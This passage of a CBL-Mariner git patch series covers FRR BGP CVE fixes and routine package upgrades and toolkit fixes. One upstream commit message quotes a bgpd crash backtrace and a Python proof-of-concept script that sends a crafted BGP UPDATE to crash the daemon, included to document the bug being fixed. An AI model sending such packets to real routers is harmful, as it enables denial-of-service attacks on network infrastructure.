0x55eefd375b4a); aborting... +BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d] +BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593] +BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181] +BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980] +BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a] +BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290] +BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610] +BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5] +BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867] +BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6] +BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597] +BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3] +BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0] +BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979] +``` + +Sending: + +``` +import socket +import time + +OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02" +b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02" +b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00" +b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d" +b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01" +b"\x80\x00\x00\x00") + +KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\xff\xff\xff\xff\x00\x13\x04") + +UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000") + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(('127.0.0.2', 179)) +s.send(OPEN) +data = s.recv(1024) +s.send(KEEPALIVE) +data = s.recv(1024) +s.send(UPDATE) +data = s.recv(1024) +time.sleep(1000) +s.close() +``` + +Reported-by: Iggy Frankovic +Signed-off-by: Donatas Abraitis +--- + bgpd/bgp_attr.c | 10 ++++++---- + 1 file changed, 6 insertions(+), 4 deletions(-) + +diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c +index e7bb42a5d989..cf2dbe65b805 100644 +--- a/bgpd/bgp_attr.c ++++ b/bgpd/bgp_attr.c +@@ -3385,13 +3385,15 @@ bgp_attr_unknown(struct bgp_attr_parser_args *args) + } + + /* Well-known attribute check. */ +-static int bgp_attr_check(struct peer *peer, struct attr *attr) ++static int bgp_attr_check(struct peer *peer, struct attr *attr, ++ bgp_size_t length) + { + uint8_t type = 0; + + /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an + * empty UPDATE. */ +- if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag) ++ if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag && ++ !length) + return BGP_ATTR_PARSE_PROCEED; + + /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required +@@ -3443,7 +3445,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, + enum bgp_attr_parse_ret ret; + uint8_t flag = 0; + uint8_t type = 0; +- bgp_size_t length; ++ bgp_size_t length = 0; + uint8_t *startp, *endp; + uint8_t *attr_endp; + uint8_t seen[BGP_ATTR_BITMAP_SIZE]; +@@ -3831,7 +3833,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, + } + + /* Check all mandatory well-known attributes are present */ +- ret = bgp_attr_check(peer, attr); ++ ret = bgp_attr_check(peer, attr, length); + if (ret < 0) + goto done; + diff --git a/SPECS/frr/frr.spec b/SPECS/frr/frr.spec index 09eed78df7a..cc77cd5b193 100644 --- a/SPECS/frr/frr.spec +++ b/SPECS/frr/frr.spec @@ -3,7 +3,7 @@ Summary: Routing daemon Name: frr Version: 8.5.3 -Release: 2%{?dist} +Release: 3%{?dist} License: GPL-2.0-or-later Vendor: Microsoft Corporation Distribution: Mariner @@ -16,6 +16,8 @@ Patch1: 0001-enable-openssl.patch Patch2: 0002-disable-eigrp-crypto.patch Patch3: 0003-fips-mode.patch Patch4: 0004-remove-grpc-test.patch +Patch5: CVE-2023-46752.patch +Patch6: CVE-2023-46753.patch BuildRequires: autoconf BuildRequires: automake BuildRequires: bison @@ -197,6 +199,9 @@ rm tests/lib/*grpc* %{_sysusersdir}/%{name}.conf %changelog +* Mon Nov 06 2023 Rachel Menge - 8.5.3-3 +- Patch CVE-2023-46752 and CVE-2023-46753 + * Wed Sep 20 2023 Jon Slobodzian - 8.5.3-2 - Recompile with stack-protection fixed gcc version (CVE-2023-4039) From 399a87ab396ec9b2a31f82ffd00938b0bd37393d Mon Sep 17 00:00:00 2001 From: CBL-Mariner-Bot <75509084+CBL-Mariner-Bot@users.noreply.github.com> Date: Wed, 8 Nov 2023 14:53:05 -0800 Subject: [PATCH 23/34] [AUTO-CHERRYPICK] Upgraded `PyYAML` to 5.4 to fix CVEs: 2020-1747, CVE-2020-14343. - branch main (#6704) Co-authored-by: Pawel Winogrodzki --- SPECS/PyYAML/PyYAML.signatures.json | 2 +- SPECS/PyYAML/PyYAML.spec | 13 ++++++++----- cgmanifest.json | 4 ++-- 3 files changed, 11 insertions(+), 8 deletions(-) diff --git a/SPECS/PyYAML/PyYAML.signatures.json b/SPECS/PyYAML/PyYAML.signatures.json index a1c0b66fca7..d30e69d9f6b 100644 --- a/SPECS/PyYAML/PyYAML.signatures.json +++ b/SPECS/PyYAML/PyYAML.signatures.json @@ -1,5 +1,5 @@ { "Signatures": { - "PyYAML-5.2.tar.gz": "c0ee8eca2c582d29c3c2ec6e2c4f703d1b7f1fb10bc72317355a746057e7346c" + "PyYAML-5.4.1.tar.gz": "75f966559c5f262dfc44da0f958cc2aa18953ae5021f2c3657b415c5a370045f" } } \ No newline at end of file diff --git a/SPECS/PyYAML/PyYAML.spec b/SPECS/PyYAML/PyYAML.spec index 9d90a778b87..4c576f181cf 100644 --- a/SPECS/PyYAML/PyYAML.spec +++ b/SPECS/PyYAML/PyYAML.spec @@ -1,13 +1,13 @@ Summary: YAML parser and emitter for Python Name: PyYAML -Version: 5.2 +Version: 5.4.1 Release: 1%{?dist} License: MIT Vendor: Microsoft Corporation Distribution: Mariner Group: Development/Libraries -URL: https://pyyaml.org/ -Source0: https://pyyaml.org/download/pyyaml/%{name}-%{version}.tar.gz +URL: https://github.com/yaml/pyyaml +Source0: https://github.com/yaml/pyyaml/archive/refs/tags/%{version}.tar.gz#/%{name}-%{version}.tar.gz BuildRequires: libyaml-devel BuildRequires: python3 BuildRequires: python3-Cython @@ -33,7 +33,7 @@ PyYAML is applicable for a broad range of tasks from complex configuration files to object serialization and persistence. %prep -%autosetup -p 1 -n PyYAML-%{version} +%autosetup -p1 -n pyyaml-%{version} find -type f -name "*.c" -delete -print %build @@ -51,10 +51,13 @@ chmod a-x examples/yaml-highlight/yaml_hl.py %files %defattr(-,root,root,-) %license LICENSE -%doc PKG-INFO README examples +%doc README examples %{python3_sitelib}/* %changelog +* Tue Nov 07 2023 Pawel Winogrodzki - 5.4.1-1 +- Upgrade to 5.4 to fix CVE-2020-1747 and CVE-2020-14343. + * Fri Oct 27 2023 Xiaohong Deng - 5.2-1 - Upgrade to 5.2 diff --git a/cgmanifest.json b/cgmanifest.json index 3fda79c91e4..541e5537753 100644 --- a/cgmanifest.json +++ b/cgmanifest.json @@ -25144,8 +25144,8 @@ "type": "other", "other": { "name": "PyYAML", - "version": "5.2", - "downloadUrl": "https://pyyaml.org/download/pyyaml/PyYAML-5.2.tar.gz" + "version": "5.4.1", + "downloadUrl": "https://github.com/yaml/pyyaml/archive/refs/tags/5.4.1.tar.gz" } } }, From 69a77809e56c9d034e780245dd5525dfc695aab6 Mon Sep 17 00:00:00 2001 From: CBL-Mariner-Bot <75509084+CBL-Mariner-Bot@users.noreply.github.com> Date: Wed, 8 Nov 2023 15:47:52 -0800 Subject: [PATCH 24/34] [AUTOPATCHER-kernel] Kernel CVE - branch main - CVE-2023-46813 (#6695) --- SPECS/kernel/CVE-2023-46813.nopatch | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 SPECS/kernel/CVE-2023-46813.nopatch diff --git a/SPECS/kernel/CVE-2023-46813.nopatch b/SPECS/kernel/CVE-2023-46813.nopatch new file mode 100644 index 00000000000..0c13b334e94 --- /dev/null +++ b/SPECS/kernel/CVE-2023-46813.nopatch @@ -0,0 +1,5 @@ +CVE-2023-46813 - patched in 5.15.137.1 - (generated by autopatch tool) +upstream 63e44bc52047f182601e7817da969a105aa1f721 - stable 582f7993353c7b116651f88385b1785dffa14c5d +upstream a37cd2a59d0cb270b1bba568fd3a3b8668b9d3ba - stable 6797c6d09e50e7ddb1c0f8282ccfb3f1c4d63270 +upstream b9cb9c45583b911e0db71d09caa6b56469eb2bdf - stable 5c2c01be809db49ad744158e4c6284213da6513a + From b371811724f519d7aa780819a2d34a9da2e5e5b9 Mon Sep 17 00:00:00 2001 From: Adub17030MS <110563293+Adub17030MS@users.noreply.github.com> Date: Wed, 8 Nov 2023 16:12:37 -0800 Subject: [PATCH 25/34] Update multus to v4.0.2 (#6313) --- SPECS/multus/multus.signatures.json | 4 ++-- SPECS/multus/multus.spec | 15 ++++++++++----- cgmanifest.json | 4 ++-- 3 files changed, 14 insertions(+), 9 deletions(-) diff --git a/SPECS/multus/multus.signatures.json b/SPECS/multus/multus.signatures.json index d9ec2fdbd72..604b7dc3548 100644 --- a/SPECS/multus/multus.signatures.json +++ b/SPECS/multus/multus.signatures.json @@ -1,5 +1,5 @@ { "Signatures": { - "multus-3.8.tar.gz": "8c66599aa906404a6f4edf3c6e003f2e5f3da4ca6c210a571faf251487e2ad65" + "multus-4.0.2.tar.gz": "feeb117d805a254bdf15d2854c7b6939a92458aadbfb25f3ea40542d6775e34b" } - } \ No newline at end of file + } diff --git a/SPECS/multus/multus.spec b/SPECS/multus/multus.spec index a62a039d997..b84fc604a2c 100644 --- a/SPECS/multus/multus.spec +++ b/SPECS/multus/multus.spec @@ -18,8 +18,8 @@ Summary: CNI plugin providing multiple interfaces in containers Name: multus -Version: 3.8 -Release: 13%{?dist} +Version: 4.0.2 +Release: 1%{?dist} License: ASL 2.0 Vendor: Microsoft Corporation Distribution: Mariner @@ -55,14 +55,16 @@ VERSION=%{version} COMMIT=%{commit} ./hack/build-go.sh %install install -D -m0755 bin/multus %{buildroot}%{_bindir}/multus -install -D -m0755 images/entrypoint.sh %{buildroot}%{_bindir}/multus-entrypoint -install -D -m0644 images/multus-daemonset-crio.yml %{buildroot}%{_datadir}/k8s-yaml/multus/multus.yaml +install -D -m0755 bin/thin_entrypoint %{buildroot}%{_bindir}/thin_entrypoint +install -D -m0755 bin/install_multus %{buildroot}%{_bindir}/install_multus +install -D -m0644 deployments/multus-daemonset.yml %{buildroot}%{_datadir}/k8s-yaml/multus/multus.yaml %files %license LICENSE %doc README.md %{_bindir}/multus -%{_bindir}/multus-entrypoint +%{_bindir}/thin_entrypoint +%{_bindir}/install_multus %files k8s-yaml %dir %{_datarootdir}/k8s-yaml @@ -70,6 +72,9 @@ install -D -m0644 images/multus-daemonset-crio.yml %{buildroot}%{_datadir}/k8s-y %{_datarootdir}/k8s-yaml/multus/multus.yaml %changelog +* Thu Sep 28 2023 Aditya Dubey - 4.0.2-1 +- Upgrade to v4.0.2 + * Mon Oct 16 2023 CBL-Mariner Servicing Account - 3.8-13 - Bump release to rebuild with go 1.20.10 diff --git a/cgmanifest.json b/cgmanifest.json index 541e5537753..40efeed323a 100644 --- a/cgmanifest.json +++ b/cgmanifest.json @@ -13713,8 +13713,8 @@ "type": "other", "other": { "name": "multus", - "version": "3.8", - "downloadUrl": "https://github.com/k8snetworkplumbingwg/multus-cni/archive/refs/tags/v3.8.tar.gz" + "version": "4.0.2", + "downloadUrl": "https://github.com/k8snetworkplumbingwg/multus-cni/archive/refs/tags/v4.0.2.tar.gz" } } }, From 7cd1a4fa68c682a3473bf4742ac1bc0ebd570c1d Mon Sep 17 00:00:00 2001 From: Pawel Winogrodzki Date: Wed, 8 Nov 2023 16:16:25 -0800 Subject: [PATCH 26/34] Using separate buffer per analyzed spec in `rpmssnapshot.go`. (#6706) --- toolkit/tools/pkg/rpmssnapshot/rpmssnapshot.go | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/toolkit/tools/pkg/rpmssnapshot/rpmssnapshot.go b/toolkit/tools/pkg/rpmssnapshot/rpmssnapshot.go index 3687f33c232..89e18648145 100644 --- a/toolkit/tools/pkg/rpmssnapshot/rpmssnapshot.go +++ b/toolkit/tools/pkg/rpmssnapshot/rpmssnapshot.go @@ -152,8 +152,6 @@ func (s *SnapshotGenerator) generateSnapshotInChroot(distTag string) (err error) } func (s *SnapshotGenerator) readBuiltRPMs(specPaths []string, defines map[string]string) (allBuiltRPMs []string, err error) { - var builtRPMs []string - buildArch, err := rpm.GetRpmArch(runtime.GOARCH) if err != nil { return @@ -171,14 +169,14 @@ func (s *SnapshotGenerator) readBuiltRPMs(specPaths []string, defines map[string specDirPath := filepath.Dir(specPath) go func(pathIter string) { - builtRPMs, err = rpm.QuerySPECForBuiltRPMs(pathIter, specDirPath, buildArch, defines) - if err != nil { - err = fmt.Errorf("failed to query built RPMs from (%s):\n%w", pathIter, err) + builtRPMs, queryErr := rpm.QuerySPECForBuiltRPMs(pathIter, specDirPath, buildArch, defines) + if queryErr != nil { + queryErr = fmt.Errorf("failed to query built RPMs from (%s):\n%w", pathIter, queryErr) } resultsChannel <- SnapshotResult{ rpms: builtRPMs, - err: err, + err: queryErr, } }(specPath) } From aef4bffe0470491c214c0518ba3f48dbfd7da14f Mon Sep 17 00:00:00 2001 From: AZaugg Date: Thu, 9 Nov 2023 09:54:50 -0800 Subject: [PATCH 27/34] Cosmetic change with chrony removed references to NetworkManager (#6639) --- SPECS/chrony/chrony.spec | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/SPECS/chrony/chrony.spec b/SPECS/chrony/chrony.spec index 81c38bb106e..0ea8f029fbd 100644 --- a/SPECS/chrony/chrony.spec +++ b/SPECS/chrony/chrony.spec @@ -4,7 +4,7 @@ Name: chrony Version: 4.1 -Release: 2%{?dist} +Release: 3%{?dist} Summary: An NTP client/server Vendor: Microsoft Corporation Distribution: Mariner @@ -45,9 +45,6 @@ Requires(pre): shadow-utils # The 'chrony.helper' script requires the 'dig' command from 'bind-utils'. Requires: bind-utils -# Old NetworkManager expects the dispatcher scripts in a different place -Conflicts: NetworkManager < 1.20 - # suggest drivers for hardware reference clocks Suggests: ntp-refclock @@ -124,7 +121,6 @@ mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/{sysconfig,logrotate.d} mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/{lib,log}/chrony mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/dhcp/dhclient.d mkdir -p $RPM_BUILD_ROOT%{_libexecdir} -mkdir -p $RPM_BUILD_ROOT%{_prefix}/lib/NetworkManager/dispatcher.d mkdir -p $RPM_BUILD_ROOT{%{_unitdir},%{_prefix}/lib/systemd/ntp-units.d} install -m 644 -p chrony.conf $RPM_BUILD_ROOT%{_sysconfdir}/chrony.conf @@ -138,10 +134,6 @@ install -m 644 -p examples/chrony.logrotate \ install -m 644 -p examples/chronyd.service \ $RPM_BUILD_ROOT%{_unitdir}/chronyd.service -install -m 755 -p examples/chrony.nm-dispatcher.dhcp \ - $RPM_BUILD_ROOT%{_prefix}/lib/NetworkManager/dispatcher.d/20-chrony-dhcp -install -m 755 -p examples/chrony.nm-dispatcher.onoffline \ - $RPM_BUILD_ROOT%{_prefix}/lib/NetworkManager/dispatcher.d/20-chrony-onoffline install -m 644 -p examples/chrony-wait.service \ $RPM_BUILD_ROOT%{_unitdir}/chrony-wait.service install -m 644 -p %{SOURCE5} $RPM_BUILD_ROOT%{_unitdir}/chrony-dnssrv@.service @@ -195,7 +187,6 @@ systemctl start chronyd.service %{_bindir}/chronyc %{_sbindir}/chronyd %{_libexecdir}/chrony-helper -%{_prefix}/lib/NetworkManager %{_prefix}/lib/systemd/ntp-units.d/*.list %{_unitdir}/chrony*.service %{_unitdir}/chrony*.timer @@ -206,6 +197,9 @@ systemctl start chronyd.service %dir %attr(-,chrony,chrony) %{_localstatedir}/log/chrony %changelog +* Mon Oct 30 2023 Andy Zaugg - 4.1-3 +- Removed references to NetworkManager + * Thu May 18 2023 Tobias Brick - 4.1-2 - Explicitly run chronyd as the user chrony From ed7226875b5f494a5921bc36fdace4b428f86f4c Mon Sep 17 00:00:00 2001 From: Chris Gunn Date: Thu, 9 Nov 2023 12:09:48 -0800 Subject: [PATCH 28/34] Sparse disk creation bug fix. (#6707) --- toolkit/tools/imagegen/diskutils/diskutils.go | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/toolkit/tools/imagegen/diskutils/diskutils.go b/toolkit/tools/imagegen/diskutils/diskutils.go index 0be541d0fe0..ba0967d6efa 100644 --- a/toolkit/tools/imagegen/diskutils/diskutils.go +++ b/toolkit/tools/imagegen/diskutils/diskutils.go @@ -8,6 +8,7 @@ package diskutils import ( "encoding/json" "fmt" + "os" "path/filepath" "regexp" "strconv" @@ -221,23 +222,22 @@ func CreateEmptyDisk(workDirPath, diskName string, maxSize uint64) (diskFilePath ) diskFilePath = filepath.Join(workDirPath, diskName) - err = sparseDisk(diskFilePath, defautBlockSize, maxSize) + err = CreateSparseDisk(diskFilePath, defautBlockSize, maxSize, 0o644) return } -// sparseDisk creates an empty sparse disk file. -func sparseDisk(diskPath string, blockSize, size uint64) (err error) { - ddArgs := []string{ - "if=/dev/zero", // Input file. - fmt.Sprintf("of=%s", diskPath), // Output file. - fmt.Sprintf("bs=%d", blockSize), // Size of one copied block. - fmt.Sprintf("seek=%d", size), // Size of the image. - "count=0", // Number of blocks to copy to the output file. +// CreateSparseDisk creates an empty sparse disk file. +func CreateSparseDisk(diskPath string, blockSize, size uint64, perm os.FileMode) (err error) { + // Open and truncate the file. + file, err := os.OpenFile(diskPath, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, perm) + if err != nil { + return fmt.Errorf("failed to create empty disk file:\n%w", err) } - _, stderr, err := shell.Execute("dd", ddArgs...) + // Resize the file to the desired size. + err = file.Truncate(int64(size * MiB)) if err != nil { - logger.Log.Warnf("Failed to create empty disk with dd: %v", stderr) + return fmt.Errorf("failed to set empty disk file's size:\n%w", err) } return } From 0fce2cd03d62a26f6859088c25e225abcb5c067c Mon Sep 17 00:00:00 2001 From: Chris Gunn Date: Thu, 9 Nov 2023 12:17:51 -0800 Subject: [PATCH 29/34] Fix safechoot unmount ordering. (#6708) --- .../tools/internal/safechroot/safechroot.go | 24 +++++++------------ 1 file changed, 9 insertions(+), 15 deletions(-) diff --git a/toolkit/tools/internal/safechroot/safechroot.go b/toolkit/tools/internal/safechroot/safechroot.go index a294dc2188a..3f964755e93 100644 --- a/toolkit/tools/internal/safechroot/safechroot.go +++ b/toolkit/tools/internal/safechroot/safechroot.go @@ -8,7 +8,6 @@ import ( "os" "os/signal" "path/filepath" - "sort" "sync" "time" @@ -265,19 +264,11 @@ func (c *Chroot) Initialize(tarPath string, extraDirectories []string, extraMoun } } - // Mount with the original unsorted order. Assumes the order of mounts is important. - err = c.createMountPoints(allMountPoints) - - // Sort the mount points by target directory - // This way nested mounts will be correctly unraveled: - // e.g.: /dev/pts is unmounted and then /dev is. - // - // Sort now before checking err so that `unmountAndRemove` can be called from Initialize. + // Assign to `c.mountPoints` now since `Initialize` will call `unmountAndRemove` if an error occurs. c.mountPoints = allMountPoints - sort.Slice(c.mountPoints, func(i, j int) bool { - return c.mountPoints[i].target > c.mountPoints[j].target - }) + // Mount with the original unsorted order. Assumes the order of mounts is important. + err = c.createMountPoints() if err != nil { logger.Log.Warn("Error creating mountpoints for chroot") return @@ -530,7 +521,10 @@ func (c *Chroot) unmountAndRemove(leaveOnDisk, lazyUnmount bool) (err error) { unmountFlags = unmountFlagsLazy } - for _, mountPoint := range c.mountPoints { + // Unmount in the reverse order of mounting to ensure that any nested mounts are unraveled in the correct order. + for i := len(c.mountPoints) - 1; i >= 0; i-- { + mountPoint := c.mountPoints[i] + fullPath := filepath.Join(c.rootDir, mountPoint.target) var exists bool @@ -632,8 +626,8 @@ func (c *Chroot) restoreRoot(originalRoot, originalWd *os.File) { } // createMountPoints will create a provided list of mount points -func (c *Chroot) createMountPoints(allMountPoints []*MountPoint) (err error) { - for _, mountPoint := range allMountPoints { +func (c *Chroot) createMountPoints() (err error) { + for _, mountPoint := range c.mountPoints { fullPath := filepath.Join(c.rootDir, mountPoint.target) logger.Log.Debugf("Mounting: source: (%s), target: (%s), fstype: (%s), flags: (%#x), data: (%s)", mountPoint.source, fullPath, mountPoint.fstype, mountPoint.flags, mountPoint.data) From 6e870f427ce890cc3a2a27d7e2b8115b71db9f62 Mon Sep 17 00:00:00 2001 From: CBL-Mariner-Bot <75509084+CBL-Mariner-Bot@users.noreply.github.com> Date: Thu, 9 Nov 2023 14:39:36 -0800 Subject: [PATCH 30/34] [AUTO-CHERRYPICK] Upgrade kured to 1.13.2 for CVEs on vendor code - branch main (#6713) Co-authored-by: rlmenge --- SPECS/kured/kured-imagePullPolicy.patch | 24 ++++++++++++++++++------ SPECS/kured/kured.signatures.json | 4 ++-- SPECS/kured/kured.spec | 7 +++++-- cgmanifest.json | 4 ++-- 4 files changed, 27 insertions(+), 12 deletions(-) diff --git a/SPECS/kured/kured-imagePullPolicy.patch b/SPECS/kured/kured-imagePullPolicy.patch index 42d967e2f53..b76a22c8bb4 100644 --- a/SPECS/kured/kured-imagePullPolicy.patch +++ b/SPECS/kured/kured-imagePullPolicy.patch @@ -1,13 +1,25 @@ +From 492288d56314c65316a6d6f50b4b79c2eb0b267e Mon Sep 17 00:00:00 2001 +From: Rachel Menge +Date: Wed, 8 Nov 2023 10:51:46 -0800 +Subject: [PATCH] kured-imagePullPolicy patch updated for 1.13.2 + +--- + kured-ds.yaml | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + diff --git a/kured-ds.yaml b/kured-ds.yaml -index 15869c4..b226865 100644 +index 7721fa1..78322da 100644 --- a/kured-ds.yaml +++ b/kured-ds.yaml -@@ -32,7 +32,7 @@ spec: - image: docker.io/weaveworks/kured:1.9.1 - # If you find yourself here wondering why there is no - # :latest tag on Docker Hub,see the FAQ in the README +@@ -34,7 +34,7 @@ spec: + # If you find yourself here wondering why there is no + # :latest tag on Docker Hub,see the FAQ in the README + image: ghcr.io/kubereboot/kured:1.13.2 - imagePullPolicy: IfNotPresent + imagePullPolicy: Always securityContext: privileged: true # Give permission to nsenter /proc/1/ns/mnt - env: + ports: +-- +2.17.1 + diff --git a/SPECS/kured/kured.signatures.json b/SPECS/kured/kured.signatures.json index 3ff43ddd48b..f25560cea39 100644 --- a/SPECS/kured/kured.signatures.json +++ b/SPECS/kured/kured.signatures.json @@ -1,6 +1,6 @@ { "Signatures": { - "kured-1.9.1-vendor.tar.gz": "7743175bf349081f2ece085cd5dfd996621cf4bc8e2dc9b7bfd470e16d6a9516", - "kured-1.9.1.tar.gz": "3bd411b68f482c065ff64435f6efb16f7d0e50b438d8574f7e5ce73454710a8d" + "kured-1.13.2-vendor.tar.gz": "be2c5510693081a35abf911fd1bf0b7f202b1e59e3857e6f889fa101756cb7b5", + "kured-1.13.2.tar.gz": "9b90a12d2343387800f9e83690c01e2f2012b512c4b8d591334e78984b3a1528" } } \ No newline at end of file diff --git a/SPECS/kured/kured.spec b/SPECS/kured/kured.spec index bc5e398c5e2..3274967c133 100644 --- a/SPECS/kured/kured.spec +++ b/SPECS/kured/kured.spec @@ -24,8 +24,8 @@ %global debug_package %{nil} Summary: Kubernetes daemonset to perform safe automatic node reboots Name: kured -Version: 1.9.1 -Release: 15%{?dist} +Version: 1.13.2 +Release: 1%{?dist} License: Apache-2.0 Vendor: Microsoft Corporation Distribution: Mariner @@ -122,6 +122,9 @@ sed -i -e 's|image: .*|image: registry.opensuse.org/kubic/kured:%{version}|g' %{ %{_datarootdir}/k8s-yaml/kured/kured.yaml %changelog +* Mon Nov 06 2023 Rachel Menge - 1.13.2-1 +- Upgrade to 1.13.2 for vendored go CVEs + * Mon Oct 16 2023 CBL-Mariner Servicing Account - 1.9.1-15 - Bump release to rebuild with go 1.20.10 diff --git a/cgmanifest.json b/cgmanifest.json index 40efeed323a..d12b519bc68 100644 --- a/cgmanifest.json +++ b/cgmanifest.json @@ -8391,8 +8391,8 @@ "type": "other", "other": { "name": "kured", - "version": "1.9.1", - "downloadUrl": "https://github.com/weaveworks/kured/archive/refs/tags/1.9.1.tar.gz" + "version": "1.13.2", + "downloadUrl": "https://github.com/weaveworks/kured/archive/refs/tags/1.13.2.tar.gz" } } }, From 0776a735d3606d7082566d53bb3760f3eb279b2a Mon Sep 17 00:00:00 2001 From: Sourav Gupta <98318303+souravgupta-msft@users.noreply.github.com> Date: Fri, 10 Nov 2023 12:03:35 +0530 Subject: [PATCH 31/34] Upgrade blobfuse2 2.1.0 -> 2.1.1 (#6658) --- SPECS/blobfuse2/blobfuse2.signatures.json | 4 ++-- SPECS/blobfuse2/blobfuse2.spec | 7 +++++-- cgmanifest.json | 4 ++-- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/SPECS/blobfuse2/blobfuse2.signatures.json b/SPECS/blobfuse2/blobfuse2.signatures.json index 67debd08798..ad7cdd0a363 100644 --- a/SPECS/blobfuse2/blobfuse2.signatures.json +++ b/SPECS/blobfuse2/blobfuse2.signatures.json @@ -1,6 +1,6 @@ { "Signatures": { - "blobfuse2-2.1.0.tar.gz": "cf51a427d32083a49721d92b35e7fdb76c8f1887b14c0e0e7a5744c470b1653e", - "blobfuse2-2.1.0-vendor.tar.gz": "338bd84bd65012b408330077e163ddab2c5362b379e50263e589500ec6d283a2" + "blobfuse2-2.1.1.tar.gz": "6bbed0d7db05ecfe7b7e12b5c4506dde1e2ef018ce1ac6fe6c8b7d697af24968", + "blobfuse2-2.1.1-vendor.tar.gz": "85cbf93aacaa63e583dd9a72f4823f9c993449d5f2ab2332d8b97b4bf91e7da0" } } \ No newline at end of file diff --git a/SPECS/blobfuse2/blobfuse2.spec b/SPECS/blobfuse2/blobfuse2.spec index 4be75ac1ce1..cd9bb51e4d3 100644 --- a/SPECS/blobfuse2/blobfuse2.spec +++ b/SPECS/blobfuse2/blobfuse2.spec @@ -1,13 +1,13 @@ %global debug_package %{nil} %define our_gopath %{_topdir}/.gopath -%define blobfuse2_version 2.1.0 +%define blobfuse2_version 2.1.1 %define blobfuse2_health_monitor bfusemon Summary: FUSE adapter - Azure Storage Name: blobfuse2 Version: %{blobfuse2_version} -Release: 3%{?dist} +Release: 1%{?dist} License: MIT Vendor: Microsoft Corporation Distribution: Mariner @@ -80,6 +80,9 @@ install -D -m 0644 ./setup/blobfuse2-logrotate %{buildroot}%{_sysconfdir}/logrot %{_sysconfdir}/logrotate.d/blobfuse2 %changelog +* Thu Nov 02 2023 Sourav Gupta - 2.1.1-1 +- Bump version to 2.1.1 + * Mon Oct 16 2023 CBL-Mariner Servicing Account - 2.1.0-3 - Bump release to rebuild with go 1.20.10 diff --git a/cgmanifest.json b/cgmanifest.json index d12b519bc68..96c4518b5f1 100644 --- a/cgmanifest.json +++ b/cgmanifest.json @@ -1147,8 +1147,8 @@ "type": "other", "other": { "name": "blobfuse2", - "version": "2.1.0", - "downloadUrl": "https://github.com/Azure/azure-storage-fuse/archive/blobfuse2-2.1.0.tar.gz" + "version": "2.1.1", + "downloadUrl": "https://github.com/Azure/azure-storage-fuse/archive/blobfuse2-2.1.1.tar.gz" } } }, From e7a68384a57be2fff35248c7246e85e843857ccc Mon Sep 17 00:00:00 2001 From: George Mileka Date: Fri, 10 Nov 2023 10:56:03 -0800 Subject: [PATCH 32/34] Switch ccache to using compiler content instead of its modified time. (#6711) --- SPECS/mariner-rpm-macros/macros | 2 ++ .../mariner-rpm-macros/mariner-rpm-macros.signatures.json | 2 +- SPECS/mariner-rpm-macros/mariner-rpm-macros.spec | 5 ++++- .../resources/manifests/package/pkggen_core_aarch64.txt | 4 ++-- toolkit/resources/manifests/package/pkggen_core_x86_64.txt | 4 ++-- toolkit/resources/manifests/package/toolchain_aarch64.txt | 4 ++-- toolkit/resources/manifests/package/toolchain_x86_64.txt | 4 ++-- toolkit/tools/pkgworker/pkgworker.go | 7 +++++-- 8 files changed, 20 insertions(+), 12 deletions(-) diff --git a/SPECS/mariner-rpm-macros/macros b/SPECS/mariner-rpm-macros/macros index bb1c3defe56..2569e4c814d 100644 --- a/SPECS/mariner-rpm-macros/macros +++ b/SPECS/mariner-rpm-macros/macros @@ -50,6 +50,8 @@ %{set_build_flags}\ %{?mariner_ccache_enabled:PATH="/usr/lib/ccache:$PATH" ; export PATH ;}\ %{?mariner_ccache_enabled:CCACHE_DIR="/ccache-dir" ; export 